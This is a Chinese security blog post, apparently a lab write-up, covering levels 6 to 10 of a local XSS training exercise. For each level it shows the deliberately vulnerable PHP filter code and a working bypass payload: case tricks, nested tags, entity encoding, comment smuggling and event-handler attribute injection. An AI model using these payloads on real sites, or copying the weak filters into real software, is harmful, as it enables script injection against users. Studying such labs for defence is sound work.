07V8第25篇技术分享|简单代码审计带你基础入门XSS
Posted 07v8论安全
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了07V8第25篇技术分享|简单代码审计带你基础入门XSS相关的知识,希望对你有一定的参考价值。
欢迎关注:07v8论安全 技术干货等你来
这是07v8的第 25 篇技术文章 希望对您有用
简单代码审计带你基础入门XSS(二)
作者:吃不到胡萝北的浅安
第六关:
http://127.0.0.1/xss/level6.php?keyword=break it out!
源代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
分析:
这里跟第五关一个,同样使用了str_replace()函数过滤,这关又多了
$str5=str_replace("data","da_ta",$str4); //匹配data替换成da_ta
$str6=str_replace("href","hr_ef",$str5); //匹配href 替换成 hr_ef
但是同时少去了strtolower函数(),此函数是把所有字符转换成小写。这里并没有使用此函数,因此可以使用大小写绕过。
故Payload : "><A HREF="javascript:alert()">QIANAN</A>
点击超连接。触发XSS,如下图
第七关:
http://127.0.0.1/xss/level7.php?keyword=move up!
源代码:
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
分析:
这关的php代码使用了strtolower函数(),但是与第六关不同的是,第六关会把匹配的字符串转换成另一个字符串,而第七关的代码是直接把匹配到的字符串替换为“”(空)
例:
$str2=str_replace("script","",$str);
Str_replace()函数匹配到script就替换成空,可以写成scrscripttipt,匹配掉中间的script字符串。
还剩下一个script。
故payload:”><scrscriptipt>alert(/QIANA/)</scrscriptipt>
第八关:
http://127.0.0.1/xss/level8.php?keyword=nice try!
源代码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
分析:
这一关把结合了第六关跟第七关,strtolower()函数检测大小写,str_replace()函数匹配成另一个字符串。
又加了一段代码
$str7=str_replace('"','"',$str6); //匹配”替换成"
最后htmlspecialchars()函数把<>转换成HTML实体,使之无法闭合input标签。最后点击链接。
$str2=str_replace("script","scr_ipt",$str);
这里代码匹配script替换成scr_ipt,但是最后变量$str输出。可以使用HTML字符实体来进行绕过。
使用payload:javascript:alert(1),这里替换的scrip。
只要对script中任何一个字母进行编码,使之匹配条件不成立。添加友情连接。然后点击友情连接触发XSS
注:
字符实体是用一个编号写入HTML代码中来代替一个字符,
在使用浏览器访问网页时会将这个编号解析还原为字符,
但是代码使用了htmlspecialchars()函数,不会还原。
有兴趣的小伙伴可以在源码去掉htmlspecialchars()函数看看浏览器上面的效果。
第九关:
http://127.0.0.1/xss/level9.php?keyword=not bad!
源代码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
分析:
这关在第八关的原基础上添加了一个if判断。使
用函数strpost()函数判断,变量$str7中如果没有出现’http://’,比较值类型为 false。
条件成立,不执行else语句,所以如果想绕过。
在payload必须有’http://’,使之条件不成立。执行else语句。
故payload:javascript:alert(1)/*http://www.07v8.com*/
在第八关原有的payload上添加一条注释,绕过成功。
第十关:
http://127.0.0.1/xss/level10.php?keyword=well done!
打开第十关什么都没有?
直接审查元素,发现一个表单有三个隐藏的标签。逐个的把type修改为text。然后回车。
测试是否要是有用的参数。
测试了t_link参数,回车后value没值。
说明失败了,在测试t_history,同样。
测试参数t_sort,发现可以插入,看源代码。
源代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
分析:
这里只有t_sort参数能接受到str33的值。
Keyword是无用参数。只是简单的使用str_replace()函数过滤了下<>符号。
故payload:" onmouseover='alert(/QIANAN/)' ",
然后审查元素修改input的type属性为text。
鼠标移到text文本框触发XSS (也可以使用onclick事件)
未完待续
感谢大家的阅读,以及对07V8的支持
每周都有精英讲师 学术分享 交流探讨
更多干货 敬请关注
以上是关于07V8第25篇技术分享|简单代码审计带你基础入门XSS的主要内容,如果未能解决你的问题,请参考以下文章